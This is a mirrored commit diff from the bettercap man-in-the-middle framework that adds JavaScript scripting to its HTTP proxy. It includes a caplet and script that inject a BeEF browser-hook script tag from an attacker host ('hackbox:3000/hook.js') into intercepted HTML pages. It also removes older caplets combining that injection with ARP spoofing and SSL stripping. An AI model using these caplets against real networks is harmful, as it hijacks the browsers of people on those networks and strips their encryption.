mirror of
https://github.com/bettercap/bettercap
synced 2025-07-14 00:53:46 -07:00
new: http proxy can now be scripted with js files
This commit is contained in:
parent
5b209890c1
commit
98d1a028ed
12 changed files with 345 additions and 124 deletions
1
Makefile
1
Makefile
|
@ -33,6 +33,7 @@ deps:
|
||||||
@go get github.com/rogpeppe/go-charset/charset
|
@go get github.com/rogpeppe/go-charset/charset
|
||||||
@go get github.com/chzyer/readline
|
@go get github.com/chzyer/readline
|
||||||
@go get github.com/op/go-logging
|
@go get github.com/op/go-logging
|
||||||
|
@go get github.com/robertkrimen/otto
|
||||||
|
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
|
|
9
caplets/beef-inject.js
Normal file
9
caplets/beef-inject.js
Normal file
|
@ -0,0 +1,9 @@
|
||||||
|
function onLoad() {
|
||||||
|
console.log( "BeefInject loaded." );
|
||||||
|
}
|
||||||
|
|
||||||
|
function onResponse(req, res) {
|
||||||
|
if( res.ContentType.indexOf("text/html") == 0 ){
|
||||||
|
res.Body = res.ReadBody().replace( "</head>", '<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>' );
|
||||||
|
}
|
||||||
|
}
|
15
caplets/beef-passive.cap
Normal file
15
caplets/beef-passive.cap
Normal file
|
@ -0,0 +1,15 @@
|
||||||
|
# inject beef hook
|
||||||
|
set http.proxy.script caplets/beef-inject.js
|
||||||
|
# keep reading arp table for network mapping
|
||||||
|
net.recon on
|
||||||
|
# redirect http traffic to a proxy
|
||||||
|
http.proxy on
|
||||||
|
# wait for everything to start properly
|
||||||
|
sleep 1
|
||||||
|
active
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,21 +0,0 @@
|
||||||
# spoof everyone as they're discovered
|
|
||||||
# set arp.spoof.targets 192.168.1.0/24
|
|
||||||
# strip down https links when possible
|
|
||||||
set http.proxy.sslstrip true
|
|
||||||
# inject beef hook
|
|
||||||
set http.proxy.post.filter |</head>|<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>|
|
|
||||||
|
|
||||||
# keep searching for new targets
|
|
||||||
# net.probe on
|
|
||||||
|
|
||||||
# keep reading arp table for network mapping
|
|
||||||
net.recon on
|
|
||||||
# redirect http traffic to a proxy
|
|
||||||
http.proxy on
|
|
||||||
sleep 5
|
|
||||||
# start arp spoofing attack
|
|
||||||
arp.spoof on
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,19 +0,0 @@
|
||||||
# strip down https links when possible
|
|
||||||
set http.proxy.sslstrip true
|
|
||||||
# inject beef hook
|
|
||||||
set http.proxy.post.filter |</head>|<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>|
|
|
||||||
#
|
|
||||||
# keep reading arp table for network mapping
|
|
||||||
net.recon on
|
|
||||||
# redirect http traffic to a proxy
|
|
||||||
http.proxy on
|
|
||||||
|
|
||||||
# wait for everything to start properly
|
|
||||||
sleep 1
|
|
||||||
active
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
2
caplets/proxy-script-test.cap
Normal file
2
caplets/proxy-script-test.cap
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
set http.proxy.script caplets/proxy-script-test.js
|
||||||
|
http.proxy on
|
42
caplets/proxy-script-test.js
Normal file
42
caplets/proxy-script-test.js
Normal file
|
@ -0,0 +1,42 @@
|
||||||
|
// called when script is loaded
|
||||||
|
function onLoad() {
|
||||||
|
console.log( "PROXY SCRIPT LOADED" );
|
||||||
|
}
|
||||||
|
|
||||||
|
// called before a request is proxied
|
||||||
|
function onRequest(req, res) {
|
||||||
|
if( req.Path == "/test-page" ){
|
||||||
|
res.Status = 200;
|
||||||
|
res.ContentType = "text/html";
|
||||||
|
res.Headers = "Server: bettercap-ng\r\n" +
|
||||||
|
"Connection: close";
|
||||||
|
res.Body = "<html>" +
|
||||||
|
"<head>" +
|
||||||
|
"<title>Test Page</title>" +
|
||||||
|
"</head>" +
|
||||||
|
"<body>" +
|
||||||
|
"<div align=\"center\">Hello world from bettercap-ng!</div>" +
|
||||||
|
"</body>" +
|
||||||
|
"</html>";
|
||||||
|
|
||||||
|
res.Updated();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// called after a request is proxied and there's a response
|
||||||
|
function onResponse(req, res) {
|
||||||
|
if( res.Status == 404 ){
|
||||||
|
res.ContentType = "text/html";
|
||||||
|
res.Headers = "Server: bettercap-ng\r\n" +
|
||||||
|
"Connection: close";
|
||||||
|
res.Body = "<html>" +
|
||||||
|
"<head>" +
|
||||||
|
"<title>Test 404 Page</title>" +
|
||||||
|
"</head>" +
|
||||||
|
"<body>" +
|
||||||
|
"<div align=\"center\">Custom 404 from bettercap-ng.</div>" +
|
||||||
|
"</body>" +
|
||||||
|
"</html>";
|
||||||
|
res.Updated();
|
||||||
|
}
|
||||||
|
}
|
|
@ -2,13 +2,12 @@ package session_modules
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/op/go-logging"
|
|
||||||
"net/http"
|
"net/http"
|
||||||
"regexp"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
|
"github.com/op/go-logging"
|
||||||
|
|
||||||
"github.com/elazarl/goproxy"
|
"github.com/elazarl/goproxy"
|
||||||
"github.com/elazarl/goproxy/ext/html"
|
|
||||||
|
|
||||||
"github.com/evilsocket/bettercap-ng/firewall"
|
"github.com/evilsocket/bettercap-ng/firewall"
|
||||||
"github.com/evilsocket/bettercap-ng/session"
|
"github.com/evilsocket/bettercap-ng/session"
|
||||||
|
@ -16,62 +15,6 @@ import (
|
||||||
|
|
||||||
var log = logging.MustGetLogger("mitm")
|
var log = logging.MustGetLogger("mitm")
|
||||||
|
|
||||||
type ProxyFilter struct {
|
|
||||||
Type string
|
|
||||||
Expression string
|
|
||||||
Replace string
|
|
||||||
Compiled *regexp.Regexp
|
|
||||||
}
|
|
||||||
|
|
||||||
func tokenize(s string, sep byte, n int) (error, []string) {
|
|
||||||
filtered := make([]string, 0)
|
|
||||||
tokens := strings.Split(s, string(sep))
|
|
||||||
|
|
||||||
for _, t := range tokens {
|
|
||||||
if t != "" {
|
|
||||||
filtered = append(filtered, t)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(filtered) != n {
|
|
||||||
return fmt.Errorf("Could not split '%s' by '%s'.", s, string(sep)), filtered
|
|
||||||
} else {
|
|
||||||
return nil, filtered
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewProxyFilter(type_, expression string) (error, *ProxyFilter) {
|
|
||||||
err, tokens := tokenize(expression, expression[0], 2)
|
|
||||||
if err != nil {
|
|
||||||
return err, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
filter := &ProxyFilter{
|
|
||||||
Type: type_,
|
|
||||||
Expression: tokens[0],
|
|
||||||
Replace: tokens[1],
|
|
||||||
Compiled: nil,
|
|
||||||
}
|
|
||||||
|
|
||||||
if filter.Compiled, err = regexp.Compile(filter.Expression); err != nil {
|
|
||||||
return err, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil, filter
|
|
||||||
}
|
|
||||||
|
|
||||||
func (f *ProxyFilter) Process(req *http.Request, responseBody string) string {
|
|
||||||
orig := responseBody
|
|
||||||
filtered := f.Compiled.ReplaceAllString(orig, f.Replace)
|
|
||||||
|
|
||||||
// TODO: this sucks
|
|
||||||
if orig != filtered {
|
|
||||||
log.Infof("%s > Applied %s-filtering to %d of response body.", req.RemoteAddr, f.Type, len(filtered))
|
|
||||||
}
|
|
||||||
|
|
||||||
return filtered
|
|
||||||
}
|
|
||||||
|
|
||||||
type HttpProxy struct {
|
type HttpProxy struct {
|
||||||
session.SessionModule
|
session.SessionModule
|
||||||
|
|
||||||
|
@ -79,26 +22,22 @@ type HttpProxy struct {
|
||||||
redirection *firewall.Redirection
|
redirection *firewall.Redirection
|
||||||
server http.Server
|
server http.Server
|
||||||
proxy *goproxy.ProxyHttpServer
|
proxy *goproxy.ProxyHttpServer
|
||||||
|
script *ProxyScript
|
||||||
preFilter *ProxyFilter
|
|
||||||
postFilter *ProxyFilter
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewHttpProxy(s *session.Session) *HttpProxy {
|
func NewHttpProxy(s *session.Session) *HttpProxy {
|
||||||
p := &HttpProxy{
|
p := &HttpProxy{
|
||||||
SessionModule: session.NewSessionModule(s),
|
SessionModule: session.NewSessionModule(s),
|
||||||
proxy: goproxy.NewProxyHttpServer(),
|
proxy: nil,
|
||||||
address: "",
|
address: "",
|
||||||
redirection: nil,
|
redirection: nil,
|
||||||
preFilter: nil,
|
script: nil,
|
||||||
postFilter: nil,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
p.AddParam(session.NewIntParameter("http.port", "80", "", "HTTP port to redirect when the proxy is activated."))
|
p.AddParam(session.NewIntParameter("http.port", "80", "", "HTTP port to redirect when the proxy is activated."))
|
||||||
p.AddParam(session.NewIntParameter("http.proxy.port", "8080", "", "Port to bind the HTTP proxy to."))
|
p.AddParam(session.NewIntParameter("http.proxy.port", "8080", "", "Port to bind the HTTP proxy to."))
|
||||||
p.AddParam(session.NewStringParameter("http.proxy.address", "<interface address>", `^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`, "Address to bind the HTTP proxy to."))
|
p.AddParam(session.NewStringParameter("http.proxy.address", "<interface address>", `^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`, "Address to bind the HTTP proxy to."))
|
||||||
p.AddParam(session.NewStringParameter("http.proxy.post.filter", "", "", "SED like syntax to replace things in the response ( example |</head>|<script src='...'></script></head>| )."))
|
p.AddParam(session.NewStringParameter("http.proxy.script", "", "", "Path of a proxy JS script."))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("http.proxy on", "",
|
p.AddHandler(session.NewModuleHandler("http.proxy on", "",
|
||||||
"Start HTTP proxy.",
|
"Start HTTP proxy.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
|
@ -111,25 +50,41 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
|
||||||
return p.Stop()
|
return p.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
p.proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
|
proxy := goproxy.NewProxyHttpServer()
|
||||||
|
|
||||||
|
proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
|
||||||
if p.doProxy(req) == true {
|
if p.doProxy(req) == true {
|
||||||
req.URL.Scheme = "http"
|
req.URL.Scheme = "http"
|
||||||
req.URL.Host = req.Host
|
req.URL.Host = req.Host
|
||||||
|
|
||||||
// TODO: p.preFilter.Process?
|
|
||||||
|
|
||||||
p.proxy.ServeHTTP(w, req)
|
p.proxy.ServeHTTP(w, req)
|
||||||
} else {
|
|
||||||
log.Infof("Skipping %s\n", req.Host)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
p.proxy.OnResponse(goproxy_html.IsHtml).Do(goproxy_html.HandleString(func(body string, ctx *goproxy.ProxyCtx) string {
|
proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)
|
||||||
if p.postFilter != nil {
|
proxy.OnRequest().DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
|
||||||
body = p.postFilter.Process(ctx.Req, body)
|
if p.script != nil {
|
||||||
|
jsres := p.script.OnRequest(req)
|
||||||
|
if jsres != nil {
|
||||||
|
log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), req.RemoteAddr)
|
||||||
|
resp := jsres.ToResponse(req)
|
||||||
|
return req, resp
|
||||||
}
|
}
|
||||||
return body
|
}
|
||||||
}))
|
return req, nil
|
||||||
|
})
|
||||||
|
|
||||||
|
proxy.OnResponse().DoFunc(func(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
|
||||||
|
if p.script != nil {
|
||||||
|
jsres := p.script.OnResponse(res)
|
||||||
|
if jsres != nil {
|
||||||
|
log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), res.Request.RemoteAddr)
|
||||||
|
res = jsres.ToResponse(res.Request)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return res
|
||||||
|
})
|
||||||
|
|
||||||
|
p.proxy = proxy
|
||||||
|
|
||||||
return p
|
return p
|
||||||
}
|
}
|
||||||
|
@ -183,16 +138,15 @@ func (p *HttpProxy) Start() error {
|
||||||
http_port = v.(int)
|
http_port = v.(int)
|
||||||
}
|
}
|
||||||
|
|
||||||
p.postFilter = nil
|
if err, v := p.Param("http.proxy.script").Get(p.Session); err != nil {
|
||||||
if err, v := p.Param("http.proxy.post.filter").Get(p.Session); err != nil {
|
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
expression := v.(string)
|
scriptPath := v.(string)
|
||||||
if expression != "" {
|
if scriptPath != "" {
|
||||||
if err, p.postFilter = NewProxyFilter("post", expression); err != nil {
|
if err, p.script = LoadProxyScript(scriptPath); err != nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
log.Debug("Proxy POST filter set to '%s'.", expression)
|
log.Debugf("Proxy script %s loaded.", scriptPath)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
238
session/modules/proxy_script.go
Normal file
238
session/modules/proxy_script.go
Normal file
|
@ -0,0 +1,238 @@
|
||||||
|
package session_modules
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"github.com/elazarl/goproxy"
|
||||||
|
|
||||||
|
"github.com/robertkrimen/otto"
|
||||||
|
)
|
||||||
|
|
||||||
|
type ProxyScript struct {
|
||||||
|
Path string
|
||||||
|
Source string
|
||||||
|
VM *otto.Otto
|
||||||
|
gil *sync.Mutex
|
||||||
|
}
|
||||||
|
|
||||||
|
type JSHeader struct {
|
||||||
|
Name string
|
||||||
|
Value string
|
||||||
|
}
|
||||||
|
|
||||||
|
type JSRequest struct {
|
||||||
|
Method string
|
||||||
|
Version string
|
||||||
|
Path string
|
||||||
|
Hostname string
|
||||||
|
Headers []JSHeader
|
||||||
|
Body string
|
||||||
|
}
|
||||||
|
|
||||||
|
type JSResponse struct {
|
||||||
|
Status int
|
||||||
|
ContentType string
|
||||||
|
Headers string
|
||||||
|
Body string
|
||||||
|
|
||||||
|
wasUpdated bool
|
||||||
|
resp *http.Response
|
||||||
|
}
|
||||||
|
|
||||||
|
func (j *JSResponse) Updated() {
|
||||||
|
j.wasUpdated = true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) {
|
||||||
|
resp = goproxy.NewResponse(req, j.ContentType, j.Status, j.Body)
|
||||||
|
if j.Headers != "" {
|
||||||
|
for _, header := range strings.Split(j.Headers, "\n") {
|
||||||
|
header = strings.Trim(header, "\n\r\t ")
|
||||||
|
if header == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
parts := strings.SplitN(header, ":", 2)
|
||||||
|
if len(parts) == 2 {
|
||||||
|
resp.Header.Add(parts[0], parts[1])
|
||||||
|
} else {
|
||||||
|
log.Warningf("Unexpected header '%s'", header)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
func (j *JSResponse) ReadBody() string {
|
||||||
|
defer j.resp.Body.Close()
|
||||||
|
|
||||||
|
raw, err := ioutil.ReadAll(j.resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
log.Errorf("Could not read response body: %s", err)
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
j.Body = string(raw)
|
||||||
|
j.Updated()
|
||||||
|
|
||||||
|
return j.Body
|
||||||
|
}
|
||||||
|
|
||||||
|
func (jsr JSRequest) ReadBody() string {
|
||||||
|
return "TODO: read body"
|
||||||
|
}
|
||||||
|
|
||||||
|
func LoadProxyScript(path string) (err error, s *ProxyScript) {
|
||||||
|
log.Infof("Loading proxy script %s ...", path)
|
||||||
|
|
||||||
|
raw, err := ioutil.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
s = &ProxyScript{
|
||||||
|
Path: path,
|
||||||
|
Source: string(raw),
|
||||||
|
VM: otto.New(),
|
||||||
|
gil: &sync.Mutex{},
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err = s.VM.Run(s.Source)
|
||||||
|
if err == nil {
|
||||||
|
cb, err := s.VM.Get("onLoad")
|
||||||
|
if err == nil && cb.IsFunction() {
|
||||||
|
_, err = s.VM.Run("onLoad()")
|
||||||
|
if err != nil {
|
||||||
|
log.Errorf("Error while executing onLoad callback: %s", err)
|
||||||
|
return err, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s ProxyScript) reqToJS(req *http.Request) JSRequest {
|
||||||
|
headers := make([]JSHeader, 0)
|
||||||
|
for key, values := range req.Header {
|
||||||
|
for _, value := range values {
|
||||||
|
headers = append(headers, JSHeader{key, value})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return JSRequest{
|
||||||
|
Method: req.Method,
|
||||||
|
Version: fmt.Sprintf("%d.%d", req.ProtoMajor, req.ProtoMinor),
|
||||||
|
Path: req.URL.Path,
|
||||||
|
Hostname: req.Host,
|
||||||
|
Headers: headers,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s ProxyScript) resToJS(res *http.Response) *JSResponse {
|
||||||
|
cType := ""
|
||||||
|
headers := ""
|
||||||
|
|
||||||
|
for name, values := range res.Header {
|
||||||
|
for _, value := range values {
|
||||||
|
if name == "Content-Type" {
|
||||||
|
cType = value
|
||||||
|
}
|
||||||
|
headers += name + ": " + value + "\r\n"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &JSResponse{
|
||||||
|
Status: res.StatusCode,
|
||||||
|
ContentType: cType,
|
||||||
|
Headers: headers,
|
||||||
|
resp: res,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ProxyScript) doDefines(req *http.Request) (err error, jsres *JSResponse) {
|
||||||
|
jsreq := s.reqToJS(req)
|
||||||
|
if err = s.VM.Set("req", jsreq); err != nil {
|
||||||
|
log.Errorf("Error while defining request: %s", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
jsres = &JSResponse{}
|
||||||
|
if err = s.VM.Set("res", jsres); err != nil {
|
||||||
|
log.Errorf("Error while defining response: %s", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ProxyScript) doDefinesFor(res *http.Response) (err error, jsres *JSResponse) {
|
||||||
|
jsreq := s.reqToJS(res.Request)
|
||||||
|
if err = s.VM.Set("req", jsreq); err != nil {
|
||||||
|
log.Errorf("Error while defining request: %s", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
jsres = s.resToJS(res)
|
||||||
|
if err = s.VM.Set("res", jsres); err != nil {
|
||||||
|
log.Errorf("Error while defining response: %s", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse {
|
||||||
|
cb, err := s.VM.Get("onRequest")
|
||||||
|
if err == nil && cb.IsFunction() {
|
||||||
|
s.gil.Lock()
|
||||||
|
defer s.gil.Unlock()
|
||||||
|
|
||||||
|
err, jsres := s.doDefines(req)
|
||||||
|
if err != nil {
|
||||||
|
log.Errorf("Error while running bootstrap definitions: %s", err)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err = s.VM.Run("onRequest(req, res)")
|
||||||
|
if err != nil {
|
||||||
|
log.Errorf("Error while executing onRequest callback: %s", err)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if jsres.wasUpdated == true {
|
||||||
|
return jsres
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse {
|
||||||
|
cb, err := s.VM.Get("onResponse")
|
||||||
|
if err == nil && cb.IsFunction() {
|
||||||
|
s.gil.Lock()
|
||||||
|
defer s.gil.Unlock()
|
||||||
|
|
||||||
|
err, jsres := s.doDefinesFor(res)
|
||||||
|
if err != nil {
|
||||||
|
log.Errorf("Error while running bootstrap definitions: %s", err)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err = s.VM.Run("onResponse(req, res)")
|
||||||
|
if err != nil {
|
||||||
|
log.Errorf("Error while executing onRequest callback: %s", err)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if jsres.wasUpdated == true {
|
||||||
|
return jsres
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
Loading…
Add table
Add a link
Reference in a new issue